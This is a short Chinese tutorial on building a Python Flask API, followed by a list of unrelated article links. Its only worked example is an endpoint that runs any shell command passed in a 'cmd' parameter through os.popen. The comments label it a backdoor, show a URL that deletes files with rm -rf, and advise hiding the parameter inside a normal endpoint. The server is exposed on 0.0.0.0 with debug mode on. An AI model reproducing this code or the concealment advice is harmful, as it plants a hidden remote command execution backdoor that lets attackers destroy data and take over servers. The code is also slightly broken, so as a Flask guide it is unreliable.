如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
郝学胜-神的一滴9 分钟前
机器学习数据工程之基石:论数据集划分之道与sklearn实践
开发语言·人工智能·python·程序人生·机器学习·sklearn
轻竹办公PPT9 分钟前
AI生成PPT好用吗?工作总结场景下的工具排名更新
人工智能·python·powerpoint
沐知全栈开发10 分钟前
MySQL 分组
开发语言
SCBAiotAigc11 分钟前
bash前面的(base)实现的原理
人工智能·python·ubuntu
wa的一声哭了12 分钟前
内积空间 内积空间二
java·开发语言·python·spring·java-ee·django·maven
QQ_43766431413 分钟前
C++ 可变参数模板、折叠表达式、泛型 Lambda 与引用折叠
开发语言·c++
Web极客码14 分钟前
深入解析WordPress的functions.php文件及其高效使用方法
开发语言·php
m0_5027249518 分钟前
QT列表-QListWidget
开发语言·qt
小蒜学长21 分钟前
python餐厅点餐系统(代码+数据库+LW)
数据库·spring boot·后端·python
山土成旧客21 分钟前
【Python学习打卡-Day34】GPU为何“变慢”?从性能悖论到`__call__`的魔力
开发语言·python·学习